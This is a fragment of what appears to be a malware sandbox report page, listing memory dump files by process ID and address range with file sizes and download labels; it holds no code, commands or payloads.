memory/5492-550-0x00000000054F0000-0x00000000054F1000-memory.dmp

Filesize
4KB

Download
memory/5492-477-0x0000000000000000-mapping.dmp

Download
memory/5512-412-0x0000000000000000-mapping.dmp

Download
memory/5552-513-0x00000000031B0000-0x00000000031B1000-memory.dmp

Filesize
4KB

Download
memory/5552-557-0x0000000005640000-0x00000000056F6000-memory.dmp

Filesize
728KB

Download
memory/5552-544-0x0000000005390000-0x0000000005580000-memory.dmp

Filesize
1.9MB

Download
memory/5552-484-0x0000000000000000-mapping.dmp

Download
memory/5684-520-0x00000000051A0000-0x00000000057B8000-memory.dmp

Filesize
6.1MB

Download
memory/5684-461-0x0000000000000000-mapping.dmp

Download
memory/5736-578-0x0000000000000000-mapping.dmp

Download
memory/5736-600-0x00000000021B0000-0x00000000021B1000-memory.dmp

Filesize
4KB

Download
memory/5768-576-0x00000000058E0000-0x00000000058E1000-memory.dmp

Filesize
4KB

Download
memory/5768-427-0x0000000000000000-mapping.dmp

Download
memory/5812-545-0x0000000000000000-mapping.dmp

Download
memory/6064-585-0x0000000005780000-0x0000000005D98000-memory.dmp

Filesize
6.1MB

Download
memory/6064-483-0x0000000000000000-mapping.dmp

Download
memory/6092-442-0x0000000000000000-mapping.dmp

Download
memory/6092-508-0x0000000004C50000-0x0000000004C51000-memory.dmp

Filesize
4KB

Download